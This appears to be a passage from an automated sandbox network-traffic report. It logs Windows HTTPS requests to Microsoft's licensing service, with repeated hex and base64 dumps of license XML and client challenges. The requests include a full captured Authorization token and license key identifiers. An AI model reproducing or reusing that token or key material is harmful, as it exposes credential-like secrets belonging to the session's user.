u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.29
Content-Length: 4445
Host: licensing.mp.microsoft.com

2022-07-01 09:01:32 UTC 2459 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:32 UTC 2463 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:32 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8125
MS-CorrelationId: 1ba24875-bba4-4f1d-8c62-5c694c5de1b1
MS-RequestId: 8328b7ce-5cfa-49c0-9f22-2bc91e6a2878
MS-CV: UznHpAHqV0GMBdER.29.1530940287.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 4

2022-07-01 09:01:32 UTC 2463 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 62 36 31 32 36 35 39 37 2d 38 65 63 62 2d 38 
31 62 34 2d 38 62 33 61 2d 31 34 33 30 64 63 32 39 38 38 63 31 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"b6126597-8ecb-81b4-8b3a-1430dc2988c1"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:32 UTC 2464 IN Data Raw: 6a 6f 78 4f 43 34 35 4d 54 63 31 4f 44 4d 31 57 6a 77 76 51 6d 56 6e 61 57 35 45 59 58 52 6c 50 6a 77 76 54 
47 6c 6a 5a 57 35 7a 5a 55 6c 75 5a 6d 38 2b 50 45 4e 31 63 33 52 76 62 56 42 76 62 47 6c 6a 61 57 56 7a 50 6d 56 35 
53 6e 4e 61 56 32 52 6f 57 54 4e 73 55 57 4e 74 4f 57 74 6b 56 30 34 77 55 31 64 52 61 55 39 70 53 6d 74 4e 62 55 35 
6f 54 6b 52 47 61 45 39 44 4d 48 70 4f 56 47 78 74 54 46 52 53 62 45 39 55 53 58 52 5a 56 30 35 72 54 6d 6b 77 4d 6c 7
0 45 61 7a 4e 61 62 56 55 78 57 57 31 4e 4d 45 35 74 54 57 6c 6d 55 54 30 39 50 43 39 44 64 58 4e 30 62 32 31 51 62 
32 78 70 59 32 6c 6c 63 7a 34 38 55 31 42 4d 61 57 4e 6c 62 6e 4e 6c 51 6d 78 76 59 32 73 2b 52 6b 46 42 51 55 46 4c 
5a 30 46 42 51 55 52 4b 51 55 46 42 51 55 4e 6e 51 55 46 42 51 56 56 42 
Data Ascii: joxOC45MTc1ODM1WjwvQmVnaW5EYXRlPjwvTGljZW5zZUluZm8+PEN1c3RvbVBvbGljaWVzPmV5SnN
aV2RoWTNsUWNtOWtkV04wU1dRaU9pSmtNbU5oTkRGaE9DMHpOVGxtTFRSbE9USXRZV05rTmkwMlpEazN
abVUxWW1NME5tTWlmUT09PC9DdXN0b21Qb2xpY2llcz48U1BMaWNlbnNlQmxvY2s+RkFBQUFLZ0FBQUR
KQUFBQUNnQUFBQVVB

2022-07-01 09:01:32 UTC 2465 IN Data Raw: 6e 4e 6d 62 33 4a 74 63 7a 34 38 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 49 45 46 73 5a 32 39 79 61 58 52 6f 
62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 38 77 4f 53 39 
34 62 57 78 6b 63 32 6c 6e 49 32 56 75 64 6d 56 73 62 33 42 6c 5a 43 31 7a 61 57 64 75 59 58 52 31 63 6d 55 69 49 43 
38 2b 50 43 39 55 63 6d 46 75 63 32 5a 76 63 6d 31 7a 50 6a 78 45 61 57 64 6c 63 33 52 4e 5a 58 52 6f 62 32 51 67 51 
57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 
4d 44 41 78 4c 7a 41 30 4c 33 68 74 62 47 56 75 59 79 4e 7a 61 47 45 79 4e 54 59 69 49 43 38 2b 50 45 52 70 5a 32 56 
7a 64 46 5a 68 62 48 56 6c 50 6b 51 31 64 45 52 52 51 55 6c 75 51 58 6f 33 
Data Ascii: nNmb3Jtcz48VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWx
kc2lnI2VudmVsb3BlZC1zaWduYXR1cmUiIC8+PC9UcmFuc2Zvcm1zPjxEaWdlc3RNZXRob2QgQWxnb3JpdGhtPSJod
HRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGVuYyNzaGEyNTYiIC8+PERpZ2VzdFZhbHVlPkQ1dERRQUluQXo3
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2022-07-01 09:01:32 UTC 2466 IN Data Raw: 47 64 6c 53 46 70 36 59 6d 52 43 64 6e 68 4b 64 6b 74 6f 63 47 4a 79 63 54 5a 61 55 44 42 47 63 31 4e 46 62 
45 78 33 55 6d 39 4d 51 57 31 32 4e 33 70 4a 64 56 5a 33 4d 31 5a 69 4e 33 52 6d 55 58 51 31 59 6d 70 44 52 45 68 53 
51 55 63 35 5a 6d 56 7a 54 6d 78 5a 53 31 59 7a 65 57 4a 35 54 6e 4a 49 65 58 70 6e 62 47 5a 61 55 46 4a 43 4e 56 56 
4b 57 6e 63 7a 4d 6e 6c 70 4d 44 4e 36 55 57 45 72 54 45 78 68 4d 44 56 6d 61 6e 4d 32 61 6d 39 46 62 57 78 49 59 7a 
56 43 63 6b 64 52 63 6b 64 79 59 6b 35 4e 51 6d 46 6f 65 6a 52 6a 62 58 56 34 53 30 4d 30 4c 32 52 6f 52 57 49 33 53 
6c 70 47 56 57 74 6a 4d 45 31 53 61 48 4d 76 54 54 4e 57 5a 54 55 78 4d 55 68 52 5a 6b 74 31 52 79 73 35 4d 6d 63 78 
54 32 5a 6d 53 6d 52 53 63 30 46 51 65 6c 64 53 5a 48 4e 72 55 47 39 4f 
Data Ascii: GdlSFp6YmRCdnhKdktocGJycTZaUDBGc1NFbEx3Um9MQW12N3pJdVZ3M1ZiN3RmUXQ1YmpDREhSQUc
5ZmVzTmxZS1YzeWJ5TnJIeXpnbGZaUFJCNVVKWnczMnlpMDN6UWErTExhMDVmanM2am9FbWxIYzVCckd
RckdyYk5NQmFoejRjbXV4S0M0L2RoRWI3SlpGVWtjME1SaHMvTTNWZTUxMUhRZkt1Rys5MmcxT2ZmSmR
Sc0FQeldSZHNrUG9O

2022-07-01 09:01:32 UTC 2467 IN Data Raw: 76 5a 6e 51 75 52 32 56 30 53 47 56 73 63 46 38 34 64 32 56 72 65 57 49 7a 5a 44 68 69 59 6e 64 6c 50 43 
39 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 34 38 54 47 56 68 63 32 56 53 5a 57 35 6c 64 32 46 73 55 
47 56 79 61 57 39 6b 50 6a 49 77 4d 54 59 77 50 43 39 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 
62 32 51 2b 50 43 39 43 61 57 35 6b 61 57 35 6e 50 6a 78 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 79 42 55 65 58 42 
6c 50 53 4a 4d 5a 57 46 7a 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 56 56 7a 59 57 64 6c 50 53 4a 50 62 6d 78 70 62 6d 
55 69 49 45 78 70 59 32 56 75 63 32 56 44 59 58 52 6c 5a 32 39 79 65 54 30 69 55 6d 56 30 59 57 6c 73 49 6a 34 38 53 
58 4e 7a 64 57 56 6b 52 47 46 30 5a 54 34 79 4d 44 49 79 4c 54 41 33 4c 54 
Data Ascii: vZnQuR2V0SGVscF84d2VreWIzZDhiYndlPC9Bc3NvY2lhdGVkUEZOcz48TGVhc2VSZW5ld2FsUGVya
W9kPjIwMTYwPC9MZWFzZVJlbmV3YWxQZXJpb2Q+PC9CaW5kaW5nPjxMaWNlbnNlSW5mbyBUeXBlPSJMZ
WFzZSIgTGljZW5zZVVzYWdlPSJPbmxpbmUiIExpY2Vuc2VDYXRlZ29yeT0iUmV0YWlsIj48SXNzdWVkRGF0ZT4yMDI
yLTA3LT

2022-07-01 09:01:32 UTC 2468 IN Data Raw: 79 56 6a 42 51 56 6c 5a 55 53 6d 35 43 64 6d 4a 48 62 47 70 6c 56 6c 49 31 59 30 64 56 4f 56 4a 48 56 6a 4a 
68 56 30 35 73 53 57 6c 33 61 57 45 79 56 6a 56 54 56 31 4a 36 53 57 70 77 59 6b 6c 74 53 54 4a 4e 56 45 6b 79 54 6c 
52 72 4d 30 78 55 61 47 78 5a 4d 6b 6c 30 54 30 52 47 61 55 35 44 4d 44 52 5a 61 6b 35 6f 54 46 52 46 4d 45 31 36 51 
6d 74 5a 65 6b 6b 31 54 30 52 6f 61 6b 31 54 53 6d 52 4d 51 30 70 79 59 56 63 31 61 30 6c 71 62 32 6c 52 4d 6a 6c 31 5
a 45 64 57 64 57 52 44 53 58 4e 4a 62 6b 4a 6f 57 54 4a 30 61 46 6f 79 56 6e 70 4a 61 6e 42 69 5a 58 6c 4b 64 31 6c 58 
54 6e 4a 5a 56 32 52 73 55 31 64 53 62 47 4a 75 55 6e 42 61 62 57 78 73 59 32 6c 4a 4e 6b 6c 74 57 6d 6c 4e 52 46 70 
73 57 6d 70 72 4d 55 78 58 53 6d 70 4f 52 47 64 30 54 56 64 46 4d 6c 
Data Ascii: yVjBQVlZUSm5CdmJHbGplVlI1Y0dVOVJHVjJhV05sSWl3aWEyVjVTV1J6SWpwYkltSTJNVEkyTlRrM
0xUaGxZMkl0T0RGaU5DMDRZak5oTFRFME16QmtZekk1T0Roak1TSmRMQ0pyYVc1a0lqb2lRMjl1ZEdWd
WRDSXNJbkJoWTJ0aFoyVnpJanBiZXlKd1lXTnJZV2RsU1dSbGJuUnBabWxsY2lJNkltWmlNRFpsWmprMUxXSmpORGd
0TVdFMl

2022-07-01 09:01:32 UTC 2469 IN Data Raw: 72 53 6e 67 35 52 58 63 32 5a 58 4e 32 64 44 42 73 64 33 5a 52 57 57 70 51 64 32 74 47 4e 6a 56 48 63 7a 
42 48 52 30 78 36 52 57 46 50 63 54 42 44 56 46 63 7a 61 6b 56 6c 4e 7a 77 76 55 31 42 4d 61 57 4e 6c 62 6e 4e 6c 51 
6d 78 76 59 32 73 2b 50 46 4e 70 5a 32 35 68 64 48 56 79 5a 53 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 
4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 38 77 4f 53 39 34 62 57 78 6b 63 32 6c 6e 49 79 49 
2b 50 46 4e 70 5a 32 35 6c 5a 45 6c 75 5a 6d 38 2b 50 45 4e 68 62 6d 39 75 61 57 4e 68 62 47 6c 36 59 58 52 70 62 32 
35 4e 5a 58 52 6f 62 32 51 67 51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 
63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 7a 45 77 4c 33 68 74 62 43 
Data Ascii: rSng5RXc2ZXN2dDBsd3ZRWWpQd2tGNjVHczBHR0x6RWFPcTBDVFczakVlNzwvU1BMaWNlbnNlQmxvY
2s+PFNpZ25hdHVyZSB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI+PFNpZ25lZEluZm8
+PENhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC

2022-07-01 09:01:32 UTC 2470 IN Data Raw: 52 61 54 68 69 55 46 67 79 61 45 52 58 64 31 5a 49 4f 45 39 50 4e 7a 56 30 65 56 64 57 51 31 64 76 61 6b 
38 31 4e 6d 39 71 62 6d 78 4a 56 54 64 4f 63 33 4a 42 65 45 5a 71 59 7a 68 6d 62 6c 6b 33 64 6b 56 46 64 45 56 6a 52 
46 42 43 55 7a 68 6f 53 6a 4e 4c 54 46 42 71 64 6b 5a 74 64 6a 64 51 62 32 4e 55 59 32 34 33 56 48 49 35 52 48 67 7a 
57 54 6c 75 53 57 4e 57 51 31 4a 6e 4f 47 74 5a 53 57 4a 50 5a 6b 68 61 4e 47 46 56 4d 45 39 6b 61 55 52 42 53 55 78 
5a 4f 53 39 36 64 58 64 75 53 58 64 52 59 6c 6c 5a 53 44 6c 74 63 6d 4a 6a 5a 6c 70 48 65 55 35 6c 64 6d 55 33 52 57 
52 6e 56 48 42 78 59 6e 63 72 5a 6a 49 78 4e 31 6c 6d 65 6b 74 34 52 57 63 39 50 54 77 76 55 32 6c 6e 62 6d 46 30 64 
58 4a 6c 56 6d 46 73 64 57 55 2b 50 45 74 6c 65 55 6c 75 5a 6d 38 67 53 57 
Data Ascii: RaThiUFgyaERXd1ZIOE9PNzV0eVdWQ1dvak81Nm9qbmxJVTdOc3JBeEZqYzhmblk3dkVFdEVjRFBCU
zhoSjNLTFBqdkZtdjdQb2NUY243VHI5RHgzWTluSWNWQ1JnOGtZSWJPZkhaNGFVME9kaURBSUxZOS96d
XduSXdRYllZSDltcmJjZlpHeU5ldmU3RWRnVHBxYncrZjIxN1lmekt4RWc9PTwvU2lnbmF0dXJlVmFsdWU+PEtleUl
uZm8gSW

Timestamp
kBytes
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Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

146 192.168.2.5 49913 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
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2022-07-01 09:01:33 UTC 2471 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.30
Content-Length: 4445
Host: licensing.mp.microsoft.com

2022-07-01 09:01:33 UTC 2473 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:33 UTC 2477 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:33 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8121
MS-CorrelationId: 01c1601c-531d-4279-85a0-7b529decdf61
MS-RequestId: 1ce58ed3-ee48-47fb-856b-68d34d6afb99
MS-CV: UznHpAHqV0GMBdER.30.1530940328.3915326689.0
X-Content-Type-Options: nosniff
MS-ServerId: 4

2022-07-01 09:01:33 UTC 2478 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 62 38 31 64 37 65 37 30 2d 38 34 65 37 2d 62 
31 36 61 2d 65 33 64 30 2d 31 65 37 61 61 32 66 31 32 33 32 64 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"b81d7e70-84e7-b16a-e3d0-1e7aa2f1232d"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:33 UTC 2479 IN Data Raw: 6a 51 77 4c 6a 55 30 4e 7a 67 79 4e 7a 68 61 50 43 39 43 5a 57 64 70 62 6b 52 68 64 47 55 2b 50 43 39 4d 
61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 2b 5a 58 6c 
4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 35 61 32 52 58 54 6a 42 54 56 31 46 70 54 32 6c 4a 65 56 70 71 62 47 
31 5a 62 55 56 36 54 6e 6b 78 61 56 6c 55 56 54 4a 4d 56 46 45 78 54 30 52 6a 64 46 6c 55 53 6d 68 50 51 7a 42 34 54 
6e 70 52 4d 6b 39 48 54 58 64 4e 61 6d 4d 78 57 58 70 46 61 57 5a 52 50 54 30 38 4c 30 4e 31 63 33 52 76 62 56 42 76 
62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 35 47 51 55 46 42 51 55 74 
5a 51 55 46 42 52 45 70 42 51 55 46 42 51 32 64 42 51 55 46 42 56 55 46 42 
Data Ascii: jQwLjU0NzgyNzhaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3VzdG9tUG9saWNpZXM+ZXlKc1p
XZGhZM2xRY205a2RXTjBTV1FpT2lJeVpqbG1ZbUV6TnkxaVlUVTJMVFExT0RjdFlUSmhPQzB4TnpRMk9
HTXdNamMxWXpFaWZRPT08L0N1c3RvbVBvbGljaWVzPjxTUExpY2Vuc2VCbG9jaz5GQUFBQUtZQUFBREp
BQUFBQ2dBQUFBVUFB

2022-07-01 09:01:33 UTC 2480 IN Data Raw: 32 5a 76 63 6d 31 7a 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 30 67 51 57 78 6e 62 33 4a 70 64 47 68 74 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 77 4c 7a 41 35 4c 33 68 
74 62 47 52 7a 61 57 63 6a 5a 57 35 32 5a 57 78 76 63 47 56 6b 4c 58 4e 70 5a 32 35 68 64 48 56 79 5a 53 49 67 4c 7a 
34 38 4c 31 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 45 52 70 5a 32 56 7a 64 45 31 6c 64 47 68 76 5a 43 42 42 62 
47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 
4d 44 45 76 4d 44 51 76 65 47 31 73 5a 57 35 6a 49 33 4e 6f 59 54 49 31 4e 69 49 67 4c 7a 34 38 52 47 6c 6e 5a 58 4e 
30 56 6d 46 73 64 57 55 2b 57 46 70 4e 61 32 6c 77 5a 44 4a 58 56 6c 4e 6a 
Data Ascii: 2Zvcm1zPjxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGR
zaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz48L1RyYW5zZm9ybXM+PERpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0d
HA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZW5jI3NoYTI1NiIgLz48RGlnZXN0VmFsdWU+WFpNa2lwZDJXVlNj
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2022-07-01 09:01:33 UTC 2481 IN Data Raw: 32 56 49 57 6e 70 69 5a 45 4a 32 65 45 70 32 53 32 68 77 59 6e 4a 78 4e 6c 70 51 4d 45 5a 7a 55 30 56 73 
54 48 64 53 62 30 78 42 62 58 59 33 65 6b 6c 31 56 6e 63 7a 56 6d 49 33 64 47 5a 52 64 44 56 69 61 6b 4e 45 53 46 4a 
42 52 7a 6c 6d 5a 58 4e 4f 62 46 6c 4c 56 6a 4e 35 59 6e 6c 4f 63 6b 68 35 65 6d 64 73 5a 6c 70 51 55 6b 49 31 56 55 7
0 61 64 7a 4d 79 65 57 6b 77 4d 33 70 52 59 53 74 4d 54 47 45 77 4e 57 5a 71 63 7a 5a 71 62 30 56 74 62 45 68 6a 4e 
55 4a 79 52 31 46 79 52 33 4a 69 54 6b 31 43 59 57 68 36 4e 47 4e 74 64 58 68 4c 51 7a 51 76 5a 47 68 46 59 6a 64 4b 
57 6b 5a 56 61 32 4d 77 54 56 4a 6f 63 79 39 4e 4d 31 5a 6c 4e 54 45 78 53 46 46 6d 53 33 56 48 4b 7a 6b 79 5a 7a 46 
50 5a 6d 5a 4b 5a 46 4a 7a 51 56 42 36 56 31 4a 6b 63 32 74 51 62 30 34 7a 
Data Ascii: 2VIWnpiZEJ2eEp2S2hwYnJxNlpQMEZzU0VsTHdSb0xBbXY3ekl1VnczVmI3dGZRdDViakNESFJBRzl
mZXNObFlLVjN5YnlOckh5emdsZlpQUkI1VUpadzMyeWkwM3pRYStMTGEwNWZqczZqb0VtbEhjNUJyR1FyR3JiTk1CY
Wh6NGNtdXhLQzQvZGhFYjdKWkZVa2MwTVJocy9NM1ZlNTExSFFmS3VHKzkyZzFPZmZKZFJzQVB6V1Jkc2tQb04z

2022-07-01 09:01:33 UTC 2482 IN Data Raw: 75 56 32 46 73 62 47 56 30 58 7a 68 33 5a 57 74 35 59 6a 4e 6b 4f 47 4a 69 64 32 55 38 4c 30 46 7a 63 32 39 
